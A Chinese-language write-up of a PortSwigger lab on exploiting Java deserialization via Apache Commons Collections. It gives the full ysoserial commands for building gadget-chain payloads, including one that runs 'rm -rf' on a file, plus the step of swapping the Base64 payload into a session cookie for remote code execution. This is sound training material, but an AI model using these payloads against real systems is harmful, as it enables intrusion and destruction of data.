从业者-Apache Commons-Java反序列化
# 实验室:通过Apache Commons利用Java反序列化
# 题目
此实验室使用基于序列化的会话机制并加载 Apache Commons Collections 库。虽然你没有源代码的访问权限,但你仍然可以使用预构建的小工具链来利用此实验。
若要解决实验室问题,请使用第三方工具生成 包含远程代码执行有效负载 的恶意序列化对象。然后,将此对象传递到网站中,以从 Carlos 的家目录中删除morale.txt
文件。
你可以使用以下凭据登录到自己的帐户:wiener:peter
提示
在 Java 16 版本及更高版本中,你需要为 Java 设置一系列命令行参数才能运行 ysoserial。例如:
java -jar ysoserial-all.jar \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.base/java.net=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED \
[载荷] '[命令]'
2
3
4
5
6
- name: 实验室-从业者
desc: 通过Apache Commons利用Java反序列化 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
# 下载工具
这次先不急着进实验室,先到 GitHub 上把所需的工具下载下来:https://github.com/frohoff/ysoserial (opens new window)
这是一个由 Java 编写的.jar
包。
# 开始实验
准备好所需的工具之后,点击 “ACCESS THE LAB” 进入实验室。
一个购物站点。
使用题目中提供的用户名和密码进行登录。
登录之后,通过 BurpSuite 捕获一个请求数据包,找到 Cookie 中经过加密的值。
对加密的值进行解码,发现是一串十六进制数据。
根据 Java 序列化对象的特征(以十六进制字符ac ed
开头,或以 Base64 编码字符rO0
开头)以及其中的文本内容可以发现,这段数据是一个 Java 序列化对象。
我们可以点击右边的 “Text”(文本格式) 或者 “Hex”(十六进制格式)来切换显示方式。
题目是 “Apache Commons” 反序列化,那就一定和这个框架有关。
这不巧了嘛,我们准备的工具 ysoserial (opens new window) 刚好支持 “Apache Commons” 的小工具链(一共七个)。
继续查阅工具文档,工具的使用方式是:
xxd
是 Linux 系统中的命令,将一段文本以十六进制的格式输出
java -jar ysoserial.jar <工具链> <要执行的命令>
# 例如
java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
2
3
4
我们刚刚下载的文件是ysoserial-all.jar
,多了字符-all
,但并不妨碍我们使用它:
java -jar ysoserial-all.jar CommonsCollections1 calc.exe | xxd
成功生成了一段由 “CommonsCollections1” 小工具链构造出来的恶意 Java 序列化对象。
还是使用第一个小工具链 “CommonsCollections1”,只需要将所执行的命令 和 编码方式修改一下:
-w 0
:Base64 编码的时候不使用换行
java -jar ysoserial-all.jar CommonsCollections1 "rm -rf /home/carlos/morale.txt" | base64 -w 0
然后,直接将这段经过 Base64 编码的值覆盖到原有 Cookie 中即可。
反序列化失败,可能是工具链不对。
再生成一个恶意 Java 序列化对象,这次改为使用第二个工具链 “CommonsCollections2”:
java -jar ysoserial-all.jar CommonsCollections2 "rm -rf /home/carlos/morale.txt" | base64 -w 0
这次生成出来的数据更长了。
将新的载荷替换到原有 Cookie 当中,然后刷新网页。
构造的恶意 Java 序列化对象成功被反序列化,其中的恶意代码执行之后删除了 carlos 家目录中的对应文件。
实验完成。